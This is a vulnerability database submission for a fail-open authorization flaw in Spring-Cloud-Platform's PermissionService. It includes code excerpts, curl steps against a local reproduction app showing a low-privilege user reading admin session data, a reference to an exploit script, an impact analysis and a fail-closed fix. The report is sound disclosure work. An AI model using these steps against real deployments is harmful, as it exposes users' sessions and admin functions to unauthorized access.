제출 #913788: wxiaoqi Spring-Cloud-Platform 3.0 Missing Authorization정보

제목wxiaoqi Spring-Cloud-Platform 3.0 Missing Authorization
설명### Summary A fail-open authorization vulnerability in Spring-Cloud-Platform's `PermissionService.checkUserPermission()` allows any authenticated user (including lowest-privilege accounts) to access any API endpoint that is not explicitly registered in the permission database. The gateway sets `isAuth=true` when no permission rule matches the request URI, effectively treating unregistered routes as public. This enables unauthorized access to admin-only operations, session management endpoints, file upload, code generation, and all CRUD operations inherited from `BaseController`. **CVSS 3.1 Base Score: 8.8 (High)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` ### Details **Affected Component:** `aceModules/ace-admin/.../rpc/service/PermissionService.java` **Root Cause:** The gateway's permission check implements a **fail-open** model. When a request URI does not match any registered permission rule in the database, the method returns `isAuth=true`, allowing the request through: ```java // PermissionService.java:264-277 public Mono<CheckPermissionInfo> checkUserPermission(String username, String requestUri, String requestMethod) { // Match requestUri against registered permissions List<Map<String, Object>> matchPermission = ...; if (matchPermission.size() == 0) { // NO PERMISSION RULE MATCHES → FAIL OPEN CheckPermissionInfo info = new CheckPermissionInfo(); info.setIsAuth(true); // ← ALLOWED! Should be false (default deny) return Mono.just(info); } // ... check user's permissions against matched rule } ``` This is called by `AccessGatewayFilter` (ace-gate) after JWT authentication succeeds: ```java // AccessGatewayFilter.java — simplified flow // 1. Verify JWT signature + expiry IJWTInfo infoFromToken = userAuthUtil.getInfoFromToken(authToken); // 2. Check Redis for active session String s = stringRedisTemplate.opsForValue().get("admin:token:" + tokenId); if (StringUtils.isBlank(s)) throw new UserTokenException("User token expired!"); // 3. Permission check (FAIL-OPEN for unregistered routes) CheckPermissionInfo result = permissionServiceFeign.checkUserPermission(...); if (!result.getIsAuth()) return Mono.error(new AccessDeniedException("forbidden")); ``` **Unregistered routes include:** `/online/**` (session management), `/oss/**` (file upload), `/service/**` (OAuth client management), `/code/generator/**` (code generation), `/search/**` (Lucene index), and all CRUD endpoints from `BaseController`. ### PoC A reproduction application and automated PoC script are provided at `pocs/spring-cloud-platform/poc_failopen_authz/`. **Prerequisites:** - Java 17+, Maven, Redis (local or Docker) - The reproduction app faithfully replicates `PermissionService` fail-open logic, `AccessGatewayFilter` JWT+Redis validation, and `OnlineController` endpoints **Steps to reproduce:** 1. Build and run the reproduction app: ```bash cd pocs/spring-cloud-platform/poc_failopen_authz mvn -q package -DskipTests -f app/pom.xml java -jar app/target/scp-failopen-poc-1.0.0.jar & ``` 2. Login as a low-privilege user: ```bash # Login as regular "user" (role=USER, minimal permissions) curl -X POST http://localhost:19092/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"user","password":"user123"}' # Returns: {"token":"eyJ...","username":"user","role":"USER"} ``` 3. Access the admin-only `/online/page` endpoint with the low-privilege JWT: ```bash # /online/page is NOT in the permission table → fail-open → 200 OK curl http://localhost:19092/online/page?limit=10&offset=0 \ -H "Authorization: <user_token>" # Returns: {"total":2,"rows":[{"tokenId":"...","userName":"admin","ipaddr":"...",...}]} ``` 4. Run the automated PoC: ```bash python3 exploit.py ``` **Expected output:** ``` [Step 5] SCP-VULN-1: Regular user accesses /online/page (NOT permitted) [INFO] Response: HTTP 200 [PASS] FAIL-OPEN CONFIRMED: Regular user got 200 on /online/page [INFO] Total sessions exposed: 2 ``` The regular user receives HTTP 200 and can see all session data, including the admin's — despite having no permission for this endpoint. ### Impact **Vulnerability type:** CWE-862 — Missing Authorization **Who is impacted:** Any Spring-Cloud-Platform deployment with the default gateway configuration. Any authenticated user (including lowest-privilege accounts) can access any endpoint not explicitly registered in the permission database. This includes: - **Confidentiality (C:H):** Full access to session management data (all users' tokenIds, IPs, usernames, browser fingerprints), file upload endpoints, OAuth client configurations, and all CRUD operations - **Integrity (I:H):** Ability to modify, delete, or create resources through admin-only CRUD endpoints, upload arbitrary files, modify menu/permission configurations - **Availability (A:H):** Ability to trigger force-logout on any user (including all administrators), delete search indexes, and disrupt services through admin-only destructive operations **Remediation:** Change the default to fail-closed: ```java if (matchPermission.size() == 0) { info.setIsAuth(false); // Default DENY return Mono.just(info); } ```
원천⚠️ https://github.com/wxiaoqi/Spring-Cloud-Platform/issues/64
사용자
 emiya (UID 100287)
제출2026. 08. 03. AM 07:45 (1 월 ago)
모더레이션2026. 09. 12. PM 08:30 (1 month later)
상태수락
VulDB 항목403176 [wxiaoqi Spring-Cloud-Platform 3.0.1/3.1.0 Permission Service PermissionService.java PermissionService.checkUserPermission 권한 상승]
포인트들20

Do you want to use VulDB in your project?

Use the official API to access entries easily!